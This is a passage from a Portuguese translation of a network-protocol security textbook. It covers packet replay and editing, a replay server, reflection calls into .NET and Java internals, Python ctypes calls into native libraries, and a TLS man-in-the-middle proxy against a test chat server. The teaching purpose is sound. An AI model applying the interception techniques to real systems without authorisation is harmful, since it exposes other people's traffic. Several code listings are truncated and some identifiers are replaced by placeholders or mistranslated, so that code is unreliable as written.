escrevemos tenham os cabeçalhos apropriados anexados antes
de serem enviados ao servidor. Finalmente, lemos os pacotes e
os imprimimos no console até que a conexão seja fechada ou o
tempo limite de leitura seja atingido ➐.
Ao executar este script, passando o caminho para os pacotes
que capturamos anteriormente, ele deverá se conectar ao
servidor e reproduzir sua sessão. Por exemplo, qualquer
mensagem enviada na captura original deverá ser reenviada.

É claro que simplesmente reproduzir o tráfego original não é


necessariamente tão útil. Seria mais útil modificar o tráfego
para testar recursos do protocolo e, agora que temos um cliente
muito simples, podemos modificar o tráfego adicionando algum
código ao nosso loop de envio. Por exemplo, podemos
simplesmente alterar nosso nome de usuário em todos os
pacotes para algo diferente — digamos, de user1 para bobsmith
— substituindo o código interno do loop de envio (em ➏ na
Listagem 8-6) pelo código mostrado na Listagem 8-7.

➊ string data = [Link]();


➋ data = [Link]("\u0005user1", "\u0008bobsmith"
[Link]([Link]());

Listagem 8-7: Um editor de pacotes simples para o cliente

Para editar o nome de usuário, primeiro convertemos o pacote


para um formato com o qual possamos trabalhar facilmente.
Neste caso, convertemos para uma string binária usando o
método ToDataString() ➊, que resulta em uma string C# onde
cada byte é convertido diretamente para o mesmo valor de
caractere. Como as strings no SuperFunkyChat são prefixadas
com seu comprimento, em ➋ usamos a sequência de escape
\uXXXX para substituir o byte 5 por 8, representando o novo
comprimento do nome de usuário. Você pode substituir
qualquer caractere binário não imprimível da mesma forma,
usando a sequência de escape para os valores de byte.

Ao executar o cliente novamente, todas as instâncias de user1


devem ser substituídas por bobsmith. (É claro que você pode
fazer modificações de pacotes muito mais complexas neste
ponto, mas deixarei isso para você experimentar.)

Implementando um servidor simples

Implementamos um cliente simples, mas problemas de


segurança podem ocorrer tanto no aplicativo cliente quanto no
servidor. Portanto, agora vamos implementar um servidor
personalizado semelhante ao que fizemos para o cliente.

Primeiro, vamos implementar uma pequena classe para


funcionar como nosso código de servidor. Essa classe será
criada para cada nova conexão. Um método `Run()` na classe
receberá um objeto `Data Adapter`, essencialmente o mesmo
que usamos para o cliente. Copie o código da Listagem 8-8 para
um arquivo chamado `chat_server.csx`.

servidor_de_bate-[Link]

usando [Link];
usando [Link];
usando [Link];

➊ classe ChatServerConfig
public LogPacketCollection Packets { get; private set
public ChatServerConfig()
Packets = new LogPacketCollection();

➋ class ChatServer : BaseDataEndpoint<ChatServerConfi


public override void Run(IDataAdapter adapter, ChatSe
[Link]("Nova Conexão");
➌ DataFrame frame = [Link]();
// Aguarde o cliente enviar o primeiro pacote
if (frame != null)

// Escrever todos os pacotes para o cliente


➍ foreach(var packet in [Link])
[Link]([Link]);

frame = [Link]();

Listagem 8-8: Uma classe de servidor simples para protocolo de


bate-papo

O código em ➊ é uma classe de configuração que simplesmente


contém uma coleção de pacotes de log. Poderíamos ter
simplificado o código especificando apenas
`LogPacketCollection` como o tipo de configuração, mas fazer
isso com uma classe distinta demonstra como você pode
adicionar sua própria configuração com mais facilidade.

O código em ➋ define a classe do servidor. Ele contém a função


Run(), que recebe um adaptador de dados e a configuração do
servidor, e nos permite ler e escrever no adaptador de dados
após esperar que o cliente nos envie um pacote ➌. Assim que
recebemos um pacote, enviamos imediatamente nossa lista
completa de pacotes para o cliente ➍.
Observe que não filtramos os pacotes em ➍ e não especificamos
que estamos usando nenhum analisador sintático específico
para o tráfego de rede. Na verdade, toda essa classe é
completamente agnóstica ao protocolo SuperFunkyChat.
Configuramos grande parte do comportamento do servidor de
rede dentro de um modelo, conforme mostrado na Listagem 8-
9.

capítulo8
_exemplo
_servidor.csx

➊ #carregar "chat_server.csx"
#carregar "[Link]"
usando static [Link];

if ([Link] < 1)
WriteLine("Por favor, especifique um arquivo de captu
return;

➋ var template = new NetServerTemplate<ChatServer, Ch


[Link] = 12345;
[Link]<Parser>();
➌ var packets = [Link](args
.GetPacketsForTag("In");
[Link](packets

➍ var service = [Link]();


[Link]();
WriteLine("Criado {0}", service);
WriteLine("Pressione Enter para sair...");
ReadLine();
[Link]();

Listagem 8-9: Um exemplo simples de servidor de bate-papo

O exemplo 8-9 pode parecer familiar, pois é muito semelhante


ao script que usamos para o servidor DNS no exemplo 2-11.
Começamos carregando o script chat_server.csx para definir
nossa classe ChatServer ➊. Em seguida, criamos um modelo de
servidor em ➋, especificando o tipo de servidor e o tipo de
configuração. Depois, carregamos os pacotes do arquivo
passado na linha de comando, filtrando para capturar apenas
os pacotes de entrada e adicionando-os à coleção de pacotes na
configuração ➌. Finalmente, criamos um serviço e o iniciamos
➍, assim como fazemos com os proxies. O servidor agora está
aguardando novas conexões na porta TCP 12345.
Experimente o servidor com o aplicativo ChatClient; o tráfego
capturado deve ser enviado de volta para o cliente. Após todos
os dados serem enviados ao cliente, o servidor fechará a
conexão automaticamente. Contanto que você observe a
mensagem que reenviamos, não se preocupe se vir um erro na
saída do ChatClient. É claro que você pode adicionar
funcionalidades ao servidor, como modificar o tráfego ou gerar
novos pacotes.

Reutilizando código executável existente

Nesta seção, exploraremos várias maneiras de reaproveitar o


código executável binário existente para reduzir o trabalho
envolvido na implementação de um protocolo. Depois de
determinar os detalhes de um protocolo por meio da
engenharia reversa do executável (talvez usando algumas dicas
do Capítulo 6), você perceberá rapidamente que, se puder
reutilizar o código executável, evitará ter que implementar o
protocolo.

Idealmente, você terá o código-fonte necessário para


implementar um protocolo específico, seja porque ele é de
código aberto ou porque a implementação está em uma
linguagem de script como Python. Se você tiver o código-fonte,
poderá recompilá-lo ou reutilizá-lo diretamente em sua própria
aplicação. No entanto, quando o código é compilado em um
executável binário, suas opções podem ser mais limitadas.
Analisaremos cada cenário agora.

Plataformas de linguagem gerenciadas, como .NET e Java, são


de longe as mais fáceis para reutilizar código executável
existente, pois possuem uma estrutura de metadados bem
definida no código compilado, o que permite que uma nova
aplicação seja compilada utilizando classes e métodos internos.
Em contraste, em muitas plataformas não gerenciadas, como
C/C++, o compilador não garante que qualquer componente
dentro de um executável binário possa ser facilmente chamado
externamente.

Metadados bem definidos também suportam reflexão, que é a


capacidade de um aplicativo suportar a vinculação tardia de
código executável para inspecionar dados em tempo de
execução e executar métodos arbitrários. Embora seja fácil
descompilar muitas linguagens gerenciadas, isso nem sempre é
conveniente, especialmente ao lidar com aplicativos ofuscados.
Isso ocorre porque a ofuscação pode impedir a descompilação
confiável para um código-fonte utilizável.

Naturalmente, as partes do código executável que você


precisará executar dependerão da aplicação que estiver
analisando. Nas seções a seguir, detalharei alguns padrões e
técnicas de codificação para chamar as partes apropriadas do
código em aplicações .NET e Java, as plataformas que você
provavelmente encontrará com mais frequência.

Reutilizando código em aplicações .NET

Conforme discutido no Capítulo 6, os aplicativos .NET são


compostos por um ou mais assemblies, que podem ser
executáveis (com extensão .exe) ou bibliotecas (.dll). Quando se
trata de reaproveitar código existente, o formato do assembly
não importa, pois podemos chamar métodos em ambos da
mesma forma.

A possibilidade de compilarmos nosso código com base no


código do assembly dependerá da visibilidade dos tipos que
estamos tentando usar. A plataforma .NET oferece suporte a
diferentes escopos de visibilidade para tipos e membros. As três
formas mais importantes de escopo de visibilidade são público,
privado e interno. Tipos ou membros públicos estão disponíveis
para todos os chamadores fora do assembly. Tipos ou membros
privados têm seu escopo limitado ao tipo atual (por exemplo,
você pode ter uma classe privada dentro de uma classe
pública). O escopo de visibilidade interno restringe os tipos ou
membros apenas aos chamadores dentro do mesmo assembly,
onde eles se comportam como se fossem públicos (embora uma
chamada externa não possa ser compilada com base neles). Por
exemplo, considere o código C# na Listagem 8-10.

➊ public class PublicClass

private class PrivateClass

➋ public PrivatePublicMethod() {}

internal class InternalClass

➌ public void InternalPublicMethod() {}

private void PrivateMethod() {}


internal void InternalMethod() {}
➍ public void PublicMethod() {}

Listagem 8-10: Exemplos de escopos de visibilidade do .NET

A Listagem 8-10 define um total de três classes: uma pública,


uma privada e uma interna. Ao compilar o código assembly que
contém esses tipos, somente a classe `PublicClass` pode ser
acessada diretamente, juntamente com o método
`PublicMethod()` da classe (indicado por ➊ e ➍); tentar acessar
qualquer outro tipo ou membro gerará um erro no compilador.
Observe, porém, em ➋ e ➌, que membros públicos estão
definidos. Não podemos acessar esses membros também?
Infelizmente, não, porque esses membros estão contidos no
escopo de uma classe `PrivateClass` ou `InternalClass`. O
escopo da classe tem precedência sobre a visibilidade dos
membros.

Depois de determinar se todos os tipos e membros que você


deseja usar são públicos, você pode adicionar uma referência
ao assembly durante a compilação. Se estiver usando uma IDE,
você encontrará um método que permite adicionar essa
referência ao seu projeto. Mas se estiver compilando na linha
de comando usando Mono ou o framework .NET do Windows,
você precisará especificar a opção `-reference:<FILEPATH>`
para o compilador C# apropriado, CSC ou MCS.

Utilizando as APIs de Reflexão

Se nem todos os tipos e membros forem públicos, você


precisará usar as APIs de Reflexão do .NET Framework. A
maioria delas está no namespace [Link], com
exceção da classe Type, que está no namespace System. A
Tabela 8-1 lista as classes mais importantes em relação à
funcionalidade de reflexão.

Tabela 8-1: Tipos de reflexão do .NET

Nome da turma Descrição

Tipo de sistema Representa um único


tipo em uma
montagem e permite
o acesso a
informações sobre
seus membros.

[Link]ã[Link] Permite o acesso ao


carregamento e
inspeção de uma
montagem, bem
como a enumeração
dos tipos disponíveis.

[Link] Representa um
método em um tipo
Nome da turma Descrição

[Link]ã[Link]ções de Representa um
Campo campo em um tipo

[Link] Representa uma


propriedade em um
tipo

[Link] Representa o
construtor de uma
classe.

Carregando o conjunto

Antes de poder manipular os tipos e membros, você precisará


carregar o assembly usando o método `Load()` ou
`LoadFrom()` da classe `Assembly`. O método `Load()` recebe
o nome do assembly, que é um identificador que pressupõe que
o arquivo do assembly esteja localizado no mesmo diretório
que o aplicativo que o chama. O método `LoadFrom()` recebe o
caminho para o arquivo do assembly.
Para simplificar, usaremos LoadFrom(), que pode ser usado na
maioria dos casos. O exemplo 8-11 mostra como você pode
carregar um assembly de um arquivo e extrair um tipo pelo
nome.

Assembly asm = [Link](@"c:\path\to\assembl


Type type = [Link]("[Link]");

Listagem 8-11: Um exemplo simples de carregamento de


montagem

O nome do tipo é sempre o nome totalmente qualificado,


incluindo seu namespace. Por exemplo, na Listagem 8-11, o
nome do tipo acessado é Connection dentro do namespace
ChatProgram. Cada parte do nome do tipo é separada por
pontos.

Como acessar classes declaradas dentro de outras classes, como


as mostradas na Listagem 8-10? Em C#, você acessa essas
classes especificando o nome da classe pai e o nome da classe
filha, separados por pontos. O framework consegue diferenciar
entre `[Link]`, onde queremos a classe
`Connection` no namespace `ChatProgram`, e a classe filha
`Connection` dentro da classe `ChatProgram`, usando o
símbolo de adição (+): `ChatProgram+Connection` representa
uma relação de classe pai/filho.

O exemplo 8-12 mostra uma maneira simples de criar uma


instância de uma classe interna e chamar métodos nela. Vamos
assumir que a classe já está compilada em seu próprio
assembly.

classe interna Connection

internal Connection() {}

public void Connect(string hostname)

Connect(hostname, 12345);

private void Connect(string hostname, int port)

// Implementação...

public void Send(byte[] packet)


// Implementação...

public void Send(string packet)

// Implementação...

public byte[] Receive()

// Implementação...

Listagem 8-12: Uma classe de exemplo simples em C#

O primeiro passo que precisamos dar é criar uma instância


dessa classe Connection. Poderíamos fazer isso chamando o
método GetConstructor do tipo manualmente, mas às vezes
existe uma maneira mais fácil. Uma maneira seria usar a classe
[Link] para lidar com a criação de instâncias de tipos
para nós, pelo menos em cenários muito simples. Nesse cenário,
chamamos o método CreateInstance(), que recebe uma
instância do tipo a ser criado e um valor booleano que indica se
o construtor é público ou não. Como o construtor não é público
(é interno), precisamos passar true para que o ativador
encontre o construtor correto.

O exemplo 8-13 mostra como criar uma nova instância,


assumindo um construtor não público e sem parâmetros.

Type type = [Link]("[Link]");


object conn = [Link](type, true);

Listagem 8-13: Construindo uma nova instância do objeto


Connection

Nesse ponto, chamaríamos o método público Connect().

Nos métodos possíveis da classe Type, você encontrará o


método GetMethod(), que simplesmente recebe o nome do
método a ser procurado e retorna uma instância do tipo
MethodInfo. Se o método não for encontrado, null será
retornado. O exemplo 8-14 mostra como executar o método
chamando o método Invoke() em MethodInfo, passando a
instância do objeto no qual o método será executado e os
parâmetros a serem passados para ele.
MethodInfo connect_method = [Link]("Connect")
connect_method.Invoke(conn, new object[] { "[Link]

Listagem 8-14: Executando um método em um objeto


Connection

A forma mais simples de GetMethod() recebe como parâmetro o


nome do método a ser encontrado, mas buscará apenas
métodos públicos. Se, em vez disso, você quiser chamar o
método privado Connect() para poder especificar uma porta
TCP arbitrária, use uma das várias sobrecargas de GetMethod().
Essas sobrecargas recebem um valor de enumeração
BindingFlags, que é um conjunto de flags que você pode passar
para funções de reflexão para determinar que tipo de
informação deseja buscar. A Tabela 8-2 mostra algumas flags
importantes.

Tabela 8-2: Flags importantes de vinculação de reflexão do .NET

Nome da bandeira Descrição

BindingFlags.Público Procure por membros do


público
Nome da bandeira Descrição

BindingFlags.NãoPúblico Procure por membros não


públicos (internos ou privados)

[Link] Procure membros que só


podem ser usados em uma
instância da classe.

[Link]ático Procure membros que podem


ser acessados estaticamente
sem uma instância.

Para obter um MethodInfo para o método privado, podemos


usar a sobrecarga de GetMethod(), como mostrado na Listagem
8-15, que recebe um nome e os sinalizadores de vinculação.
Precisaremos especificar NonPublic e Instance nos
sinalizadores porque queremos um método não público que
possa ser chamado em instâncias do tipo.

MethodInfo connect_method = [Link]("Connect",


[Link] | [Link]);
connect_method.Invoke(conn, new object[] { "[Link]

Listagem 8-15: Chamando um método Connect() não público

Até aqui tudo bem. Agora precisamos chamar o método Send().


Como esse método é público, deveríamos conseguir chamar o
método GetMethod() básico. Mas chamar o método básico gera
a exceção mostrada na Listagem 8-16, indicando uma
correspondência ambígua. O que deu errado?

[Link]: Correspond
em [Link](...)

em [Link](String name)
em [Link](String[] args)

Listagem 8-16: Uma exceção lançada para o método Send()

Observe na Listagem 8-12 que a classe Connection possui dois


métodos Send(): um que recebe um array de bytes e outro que
recebe uma string. Como a API de reflexão não sabe qual
método você deseja, ela não retorna uma referência a nenhum
deles; em vez disso, ela simplesmente lança uma exceção.
Compare isso com o método Connect(), que funcionou porque
os sinalizadores de vinculação desambiguam a chamada. Se
você estiver procurando por um método público com o nome
Connect(), as APIs de reflexão sequer inspecionarão a
sobrecarga não pública.

Podemos contornar esse erro usando outra sobrecarga de


GetMethod() que especifica exatamente os tipos que queremos
que o método suporte. Escolheremos o método que recebe uma
string, como mostrado na Listagem 8-17.

MethodInfo send_method = [Link]("Send", new T


send_method.Invoke(conn, new object[] { "data" });

Listagem 8-17: Chamando o método Send(string)

Finalmente, podemos chamar o método `Receive()`. Ele é


público, portanto não há sobrecargas adicionais e deve ser
simples. Como `Receive()` não recebe parâmetros, podemos
passar um array vazio ou `null` para `Invoke()`. Como
`Invoke()` retorna um objeto, precisamos converter o valor de
retorno para um array de bytes para acessar os bytes
diretamente. O exemplo 8-18 mostra a implementação final.
MethodInfo recv_method = [Link]("Receive");
byte[] packet = (byte[])recv_method.Invoke(conn, null

Listagem 8-18: Chamando o método Receive()

Reutilizando código em aplicações Java

Java é bastante similar ao .NET, então vou me concentrar


apenas na diferença entre eles, que é a ausência do conceito de
assembly em Java. Em vez disso, cada classe é representada por
um arquivo .class separado. Embora seja possível combinar
arquivos de classe em um arquivo JAR (Java Archive), isso é
apenas um recurso de conveniência. Por esse motivo, Java não
possui classes internas que só podem ser acessadas por outras
classes no mesmo assembly. No entanto, Java possui um recurso
semelhante chamado classes com escopo package-private, que
só podem ser acessadas por classes no mesmo pacote. (O .NET
se refere a pacotes como namespaces.)

A vantagem dessa funcionalidade é que, se você quiser acessar


classes marcadas como de escopo de pacote, pode escrever um
código Java que se define no mesmo pacote e, em seguida, pode
acessar as classes e membros de escopo de pacote livremente.
Por exemplo, a Listagem 8-19 mostra uma classe com escopo de
pacote que seria definida na biblioteca que você deseja chamar
e uma classe de ponte simples que você pode compilar em sua
própria aplicação para criar uma instância da classe.

// Privado do pacote ([Link])


package [Link];

class PackageClass
PackageClass()

PackageClass(String arg)

@Override
public String toString()
return "No pacote";

// Classe Bridge ([Link])


package [Link];
public class BridgeClass
public static Object create()
return new PackageClass();

Listagem 8-19: Implementando uma classe de ponte para


acessar uma classe com privilégios de pacote.

Você especifica os arquivos de classe ou JAR existentes


adicionando seus locais ao classpath do Java, normalmente
especificando o parâmetro -classpath para o compilador Java ou
o executável do ambiente de execução Java.

Se você precisar chamar classes Java por reflexão, os tipos de


reflexão principais do Java são muito semelhantes aos descritos
na seção anterior sobre .NET: Type em .NET é class em Java,
MethodInfo é Method e assim por diante. A Tabela 8-3 contém
uma breve lista dos tipos de reflexão do Java.

Tabela 8-3: Tipos de Reflexão em Java


Nome da turma Descrição

[Link] Representa uma única


classe e permite o acesso
aos seus membros.

[Link] Representa um método em


um tipo

[Link] Representa um campo em


um tipo

[Link] Representa o construtor de


uma classe.

Você pode acessar um objeto de classe pelo nome chamando o


método [Link](). Por exemplo, o exemplo 8-20 mostra
como obteríamos a classe PackageClass.
Class c = [Link]("[Link]");
[Link](c);

Listagem 8-20: Obtendo uma classe em Java

Se quisermos criar uma instância de uma classe pública com


um construtor sem parâmetros, a instância da classe possui um
método `newInstance()`. Isso não funcionará para nossa classe
com privilégios de pacote (`package-private`), então, em vez
disso, obteremos uma instância do construtor chamando o
método `getDeclaredConstructor()` na instância da classe.
Precisamos passar uma lista de objetos da classe para
`getDeclaredConstructor()` para selecionar o construtor
correto com base nos tipos de parâmetros que ele aceita. O
exemplo 8-21 mostra como escolheríamos o construtor, que
recebe uma string, e então criaríamos uma nova instância.
Constructor con = [Link]([Link]
➊ [Link](true);
Object obj = [Link]("Hello");

Listagem 8-21: Criando uma nova instância a partir de um


construtor privado

O código na Listagem 8-21 deve ser bastante autoexplicativo,


exceto talvez pela linha em ➊. Em Java, qualquer membro não
público, seja um construtor, campo ou método, deve ser
definido como acessível antes de ser usado. Se você não chamar
setAccessible() com o valor true, chamar newInstance() lançará
uma exceção.

Executáveis não gerenciados

Chamar código arbitrário na maioria dos executáveis não


gerenciados é muito mais difícil do que em plataformas
gerenciadas. Embora seja possível chamar um ponteiro para
uma função interna, há uma chance razoável de que isso cause
a falha do seu aplicativo. No entanto, você pode chamar a
implementação não gerenciada quando ela é explicitamente
exposta por meio de uma biblioteca dinâmica. Esta seção
oferece uma breve visão geral do uso da biblioteca ctypes do
Python para chamar uma biblioteca não gerenciada em uma
plataforma do tipo Unix e no Microsoft Windows.

OBSERVAÇÃO

Existem muitos cenários complexos que envolvem


a chamada de código não gerenciado usando a
biblioteca ctypes do Python, como passar valores
de string ou chamar funções C++. Você pode
encontrar diversos recursos detalhados online,
mas esta seção deve fornecer o básico suficiente
para despertar seu interesse em aprender mais
sobre como usar o Python para chamar bibliotecas
não gerenciadas.

Chamando Bibliotecas Dinâmicas

Linux, macOS e Windows suportam bibliotecas dinâmicas. O


Linux as chama de arquivos objeto (.so), o macOS as chama de
bibliotecas dinâmicas (.dylib) e o Windows as chama de
bibliotecas de vínculo dinâmico (.dll). A biblioteca ctypes do
Python fornece uma maneira bastante genérica de carregar
todas essas bibliotecas na memória e uma sintaxe consistente
para definir como chamar a função exportada. O exemplo 8-22
mostra uma biblioteca simples escrita em C, que usaremos
como exemplo ao longo do restante desta seção.

#include <stdio.h>
#include <wchar.h>

void say_hello(void)
printf("Olá\n");

void say_string(const char* str)


printf("%s\n", str);

void say_unicode_string(const wchar_t* ustr)


printf("%ls\n", ustr);

const char* get_hello(void)


return "Olá de C";

int add_numbers(int a, int b)


return a + b;
long add_longs(long a, long b)
return a + b;

void add_numbers_result(int a, int b, int* c)


*c = a + b;

struct SimpleStruct

const char* str;


int num;
;

void say_struct(const struct SimpleStruct* s)


printf("%s %d\n", s->str, s->num);

Listagem 8-22: A biblioteca C de exemplo lib.c

Você pode compilar o código da Listagem 8-22 em uma


biblioteca dinâmica apropriada para a plataforma que você
está testando. Por exemplo, no Linux, você pode compilar a
biblioteca instalando um compilador C, como o GCC, e
executando o seguinte comando no terminal, que irá gerar uma
biblioteca compartilhada chamada [Link]:

gcc -shared -fPIC -o [Link] lib.c

Carregando uma biblioteca com Python

Passando para o Python, podemos carregar nossa biblioteca


usando o método `[Link]()`, que retorna uma
instância de uma biblioteca carregada com as funções
exportadas anexadas à instância como métodos nomeados. Por
exemplo, a Listagem 8-23 mostra como chamar o método
`say_hello()` da biblioteca compilada na Listagem 8-22.

[Link]

from ctypes import *

# No Linux
lib = [Link]("./[Link]")
# No macOS
#lib = [Link]("[Link]")
# No Windows
#lib = [Link]("[Link]")
# Ou podemos fazer o seguinte no Windows
#lib = [Link]

lib.say_hello()
>>> Olá

Listagem 8-23: Um exemplo simples em Python para chamar


uma biblioteca dinâmica.

Observe que, para carregar a biblioteca no Linux, é necessário


especificar um caminho. Por padrão, o Linux não inclui o
diretório atual na ordem de busca de bibliotecas, portanto,
carregar o arquivo [Link] falharia. Isso não ocorre no macOS ou
no Windows. No Windows, basta especificar o nome da
biblioteca após cdll, e a extensão .dll será adicionada
automaticamente, carregando a biblioteca.

Vamos explorar um pouco. Carregue o arquivo Listing 8-23 em


um shell do Python, por exemplo, executando
`execfile("[Link]")`, e você verá que "Hello" será
retornado. Mantenha a sessão interativa aberta para a próxima
seção.

Chamando funções mais complexas


É bastante fácil chamar um método simples, como say_hello(),
como no exemplo 8-23. Mas nesta seção, veremos como chamar
funções um pouco mais complexas, incluindo funções não
gerenciadas, que recebem vários argumentos diferentes.

Sempre que possível, o ctypes tentará determinar


automaticamente quais parâmetros serão passados para a
função com base nos parâmetros fornecidos no script Python.
Além disso, a biblioteca sempre assumirá que o tipo de retorno
de um método é um inteiro em C. Por exemplo, a Listagem 8-24
mostra como chamar os métodos add_numbers() ou
say_string(), juntamente com a saída esperada da sessão
interativa.

print lib.add_numbers(1, 2)
>>> 3

lib.say_string("Olá do Python");
>>> Olá do Python

Listagem 8-24: Chamando métodos simples

Métodos mais complexos exigem o uso de tipos de dados ctypes


para especificar explicitamente quais tipos queremos usar,
conforme definido no namespace ctypes. A Tabela 8-4 mostra
alguns dos tipos de dados mais comuns.

Tabela 8-4: Tipos C do Python e seus equivalentes nativos em C

Python ctypes Tipos nativos de C

c_char, c_wchar char, wchar_t

c_byte, c_ubyte caractere, caractere sem sinal

c_curto, c_ushort curto, sem sinal curto

c_int, c_uint int, int sem sinal

c_longo, c_longo longo, sem sinal longo

c_estúpido, longo longo, longo longo sem sinal


c_estúpido (normalmente 64 bits)

c_float, c_double flutuar, duplo

c_char_p, char*, wchar_t* (strings terminadas


c_wchar_p em NUL)
Python ctypes Tipos nativos de C

c_void_p void* (ponteiro genérico)

Para especificar o tipo de retorno, podemos atribuir um tipo de


dados à propriedade [Link]. Por exemplo, o exemplo
8-25 mostra como chamar get_hello(), que retorna um ponteiro
para uma string.

# Antes de definir o tipo de retorno


print lib.get_hello()
>>> -1686370079

# Depois de definir o tipo de retorno


lib.get_hello.restype = c_char_p
print lib.get_hello()
>>> Olá de C

Listagem 8-25: Chamando um método que retorna uma string C

Se, em vez disso, você quiser especificar os argumentos a serem


passados para um método, poderá definir uma matriz de tipos
de dados para a propriedade argtypes. Por exemplo, a Listagem
8-26 mostra como chamar add_longs() corretamente.

# Antes de argtypes
lib.add_longs.restype = c_long
print lib.add_longs(0x10000, 1)
>>> 1

# Depois de argtypes
lib.add_longs.argtypes = [c_long, c_long]

print lib.add_longs(0x10000, 1)
>>> 4294967297

Listagem 8-26: Especificando tipos de argumentos para uma


chamada de método

Para passar um parâmetro por meio de um ponteiro, use a


função auxiliar `byref`. Por exemplo, `add_numbers_result()`
retorna o valor como um ponteiro para um inteiro, conforme
mostrado na Listagem 8-27.

i = c_int()
lib.add_numbers_result(1, 2, byref(i))
print [Link]
>>> 3

Listagem 8-27: Chamando um método com um parâmetro de


referência

Chamando uma função com um parâmetro de estrutura

Podemos definir uma estrutura para ctypes criando uma classe


derivada da classe Structure e atribuindo a propriedade
_fields_, e então passando a estrutura para o método importado.
O exemplo 8-28 mostra como fazer isso para a função
say_struct(), que recebe um ponteiro para uma estrutura
contendo uma string e um número.

class SimpleStruct(Structure):
_fields_ = [("str", c_char_p),
("num", c_int)]

s = SimpleStruct()
[Link] = "Olá da Struct"
[Link] = 100
lib.say_struct(byref(s))
>>> Olá da Struct 100

Listagem 8-28: Chamando um método que recebe uma


estrutura

Chamando funções com Python no Microsoft Windows

Nesta seção, as informações sobre como chamar bibliotecas não


gerenciadas no Windows são específicas para o Windows de 32
bits. Conforme discutido no Capítulo 6, as chamadas da API do
Windows podem especificar diversas convenções de chamada,
sendo as mais comuns `stdcall` e `cdecl`. Ao usar `cdll`, todas
as chamadas assumem que a função é `cdecl`, mas a
propriedade `windll` assume o valor padrão de `stdcall`. Se
uma DLL exportar métodos `cdecl` e `stdcall`, você pode
combinar chamadas por meio de `cdll` e `windll` conforme
necessário.

OBSERVAÇÃO

Você precisará considerar mais cenários de


chamada usando a biblioteca ctypes do Python,
como retornar strings ou chamar funções em C++.
Você pode encontrar muitos recursos detalhados
online, mas esta seção deve ter fornecido o básico
suficiente para despertar seu interesse em
aprender mais sobre como usar o Python para
chamar bibliotecas não gerenciadas.

Criptografia e como lidar com TLS

A criptografia em protocolos de rede pode dificultar a análise e


a reimplementação do protocolo para testar problemas de
segurança. Felizmente, a maioria das aplicações não
implementa sua própria criptografia. Em vez disso, utilizam
uma versão do TLS, conforme descrito no final do Capítulo 7.
Como o TLS é uma solução conhecida, muitas vezes podemos
removê-lo de um protocolo ou reimplementá-lo usando
ferramentas e bibliotecas padrão.

Aprendendo sobre a criptografia em uso

Como era de se esperar, o SuperFunkyChat oferece suporte a


um endpoint TLS, embora seja necessário configurá-lo
passando o caminho para um certificado de servidor. A
distribuição binária do SuperFunkyChat inclui um arquivo
[Link] para essa finalidade. Reinicie o aplicativo ChatServer
com o parâmetro --server_cert, conforme mostrado na Listagem
8-29, e observe a saída para garantir que o TLS esteja
habilitado.

$ ChatServer --server_cert ChatServer/[Link]


ChatServer (c) 2017 James Forshaw
AVISO: Não use isso para um sistema de bate-papo real
Certificado carregado, Subject=CN=ExampleChatServer➊
Servidor em execução na porta 12345 Global Bind False
Servidor TLS em execução na porta 12346➋ Global Bind

Listagem 8-29: Executando o ChatServer com um certificado


TLS

Duas indicações na saída da Listagem 8-29 mostram que o TLS


foi habilitado. Primeiro, o nome do sujeito do certificado do
servidor é mostrado em ➊. Segundo, você pode ver que o
servidor TLS está escutando na porta 12346 ➋.

Não é necessário especificar o número da porta ao conectar o


cliente usando TLS com o parâmetro --tls: o cliente
incrementará automaticamente o número da porta para
corresponder. A Listagem 8-30 mostra como, ao adicionar o
parâmetro de linha de comando --tls ao cliente, ele exibe
informações básicas sobre a conexão no console.
$ ChatClient --tls user1 [Link]
Conectando a [Link]:12346
➊ Protocolo TLS: TLS v1.2
➋ KeyEx TLS: RsaKeyX
➌ Cifra TLS: Aes256
➍ Hash TLS: Sha384
➎ Assunto do Certificado: CN=ExampleChatServer
➏ Emissor do Certificado: CN=ExampleChatServer

Listagem 8-30: Uma conexão normal de cliente

Nesta saída, o protocolo TLS em uso é mostrado em ➊ como TLS


1.2. Também podemos ver a troca de chaves ➋, a cifra ➌ e os
algoritmos de hash ➍ negociados. Em ➎, vemos algumas
informações sobre o certificado do servidor, incluindo o nome
do Assunto do Certificado, que normalmente representa o
proprietário do certificado. A Autoridade Emissora do
Certificado ➏ é a autoridade que assinou o certificado do
servidor e é o próximo certificado na cadeia, conforme descrito
em "Infraestrutura de Chave Pública" na página 169. Neste caso,
o Assunto do Certificado e a Autoridade Emissora do Certificado
são os mesmos, o que normalmente significa que o certificado é
autoassinado.
Decifrando o tráfego TLS

Uma técnica comum para descriptografar o tráfego TLS é usar


ativamente um ataque do tipo "homem no meio" (man-in-the-
middle) no tráfego de rede, de forma a descriptografar o TLS do
cliente e criptografá-lo novamente ao enviá-lo para o servidor.
Claro, estando no meio, você pode manipular e observar o
tráfego à vontade. Mas não são justamente os ataques do tipo
"homem no meio" que o TLS deveria proteger? Sim, mas desde
que tenhamos controle suficiente sobre a aplicação cliente,
geralmente podemos realizar esse ataque para fins de teste.

Adicionar suporte a TLS a um proxy (e, portanto, a servidores e


clientes, como discutido anteriormente neste capítulo) pode ser
tão simples quanto adicionar uma ou duas linhas ao script do
proxy para incluir uma camada de criptografia e
descriptografia TLS. A Figura 8-1 mostra um exemplo simples
de um proxy desse tipo.
Figura 8-1: Um exemplo de proxy TLS MITM

Podemos implementar o ataque mostrado na Figura 8-1


substituindo a inicialização do modelo na Listagem 8-5 pelo
código na Listagem 8-31.

var template = new FixedProxyTemplate();


// Porta local 4445, destino [Link]:12346
➊ [Link] = 4445;
[Link] = "[Link]";
[Link] = 12346;

var tls = new TlsNetworkLayerFactory();


➋ [Link](tls);
[Link]<Parser>();

Listagem 8-31: Adicionando suporte a TLS para capturar um


proxy

Fazemos duas alterações importantes na inicialização do


modelo. Em ➊, incrementamos os números de porta porque o
cliente adiciona automaticamente 1 à porta ao tentar se
conectar via TLS. Em seguida, em ➋, adicionamos uma camada
de rede TLS ao modelo de proxy. (Certifique-se de adicionar a
camada TLS antes da camada de análise sintática, caso
contrário, a camada de análise sintática tentará analisar o
tráfego de rede TLS, o que não funcionará corretamente.)

Com o proxy configurado, vamos repetir nosso teste com o


cliente da Listagem 8-31 para ver as diferenças. A Listagem 8-32
mostra a saída.

C:\> ChatClient user1 [Link] --port 4444 -l


Conectando a [Link]:4445
➊ Protocolo TLS: TLS v1.0
➋ KeyEx TLS: ECDH
Cifra TLS: Aes256
Hash TLS: Sha1
Assunto do Certificado: CN=ExampleChatServer
➌ Emissor do Certificado: CN=BrokenCA_PleaseFix

Listagem 8-32: ChatClient conectando-se através de um proxy

Observe algumas mudanças claras na Listagem 8-32. Uma delas


